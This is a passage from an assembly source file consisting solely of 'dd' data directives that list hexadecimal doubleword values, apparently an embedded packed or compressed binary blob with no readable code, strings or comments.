1DA6CE00h, 0AFB13B25h, 0C3EA004Ch dd 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h dd 0F73002B0h, 71009735h, 88930839h, 2E03117h, 0EA1052Bh dd 14409601h, 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh dd 0FA4CFD63h, 930447B5h, 27F22000h, 21AF7819h, 1C080037h dd 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h, 8568A120h dd 512C250Fh, 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h dd 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h, 96B438F3h dd 3043D001h, 0F4C54C16h, 6400EC7Eh, 0EF560441h, 7102C7Fh dd 6032C824h, 68C0DE09h dd 70916C48h, 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h dd 2CF0CC2h, 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h dd 0EB3FC618h, 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh dd 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h dd 0B8010C6h, 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h dd 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h dd 524F1F58h, 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h dd 20118F0Ch, 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h dd 0A02F8625h, 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh dd 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h dd 0BDE07549h, 44073848h, 3B431513h, 17CB0F30h, 9DF50120h dd 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh dd 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h dd 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh dd 0B5FB0444h, 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch dd 54400F50h, 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h dd 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h dd 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch dd 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h dd 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h dd 3A96B3DFh, 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh dd 3B887410h, 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh dd 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h dd 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h dd 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h dd 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h dd 46A2F82h, 8800A495h, 4178C646h, 91085B8h, 436DAC14h dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h dd 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h dd 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh dd 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h dd 8BFC40h, 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h dd 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh dd 4518E869h, 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh dd 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh dd 4E01017h, 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h dd 0B40B794h, 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh dd 110BC340h, 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h dd 34B2B380h, 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h dd 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h dd 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h dd 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h dd 0A54AFFh, 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h dd 7C8B020h, 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h dd 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h dd 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh dd 8233FDCh, 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh dd 0E46FA953h, 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh dd 6C1504F2h, 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h dd 4E8C4D6h, 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h dd 7E525F1h, 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h dd 0EE1820h, 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h dd 3B5E37h, 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h, 328230Eh dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh dd 2B25439Ch, 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh, 0B9071C09h dd 5AD09F7Bh, 347480BBh dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h dd 521B102Ch, 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h dd 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h dd 0BB31C413h, 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h dd 87E28024h, 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h dd 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h dd 14007990h, 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch dd 0FC44173Fh, 860904B6h, 806FD3E9h, 8F899906h, 1336F100h dd 65E39327h, 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h dd 3837BD00h, 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h dd 428FF21Ch, 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h dd 9EEE3403h, 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh dd 38B7F0A9h, 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h dd 0D35A2C08h, 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch dd 8B0F4B3Eh, 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh dd 0C5E52D0Fh, 5E34A787h, 21062090h, 7EF34CCCh, 48030800h dd 0F8F2AED4h, 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h dd 56080CC8h, 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h dd 23AB5FACh, 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh dd 0C941062h, 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh dd 3307E3A5h, 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h dd 47E4A542h, 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h dd 3D0083C9h, 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h dd 3890F00h, 41AEC383h, 67F93D8Fh, 0F81FEB85h, 0A593802Fh dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h, 0D726812h dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h dd 24000901h, 28007F2h, 1EE231h, 0D6D3E30Bh, 32A221E6h dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch, 6FCCFB87h dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh, 0B21A3CF9h dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h, 6FE60B27h dd 331F0BEh, 1CDD2E72h, 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h, 72DF70C4h dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h dd 0C58F3BCh, 7780BCAh, 0F4870063h, 2C4ABAh, 886F883h dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh, 35441FA2h dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh dd 0DDD402h, 803FB9B4h, 88FC31h, 86E0B54h, 0EA7585C1h dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h, 0F1FF1B0Eh dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h dd 302F1A8Ah, 16DD4C3h, 332F6225h, 0AF1870FBh, 5F5CC600h dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh, 0AC30E40h dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah, 1F0FAEEEh dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h, 0E723E0E3h dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h, 6E1E806Fh dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h, 80B340B2h dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h, 819F07C1h dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh, 41581F80h dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h dd 0B1814085h, 8747C087h, 864146CEh, 42678247h, 831C4380h dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h, 0C21E927Ch dd 204099B2h, 904210Ah dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h dd 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh dd 0D63A9680h, 63CF2Ch, 56FF3083h, 0AD0F4B04h, 6636E900h dd 0E828141Ah, 5E1E00EBh, 0D060EEC6h, 51005652h, 8EBAFC02h dd 9C3B24h, 4D17C877h, 30AC0B0Ch, 0F5B0C200h, 6738B82h dd 9A8C0060h, 0C1A707F3h, 7503C8FEh, 0C9094981h, 0DF6A9AD7h dd 647FF8E0h, 69D64400h, 0FF9C181Fh, 75500079h, 0EE10595Dh dd 0AC074514h, 2FA83D05h, 25447EF0h, 4F61015Eh, 0C86FF488h dd 0FC0680F8h, 1F75F24Dh, 0CCD000D5h, 3B67AC55h, 0A6007306h dd 16C60FFh, 0E6E82B70h, 467B00D0h, 570CF8C9h, 72075002h dd 8DB38615h, 6FE82730h, 0EA42588Fh, 65315700h, 0DB85D873h dd 110076FCh, 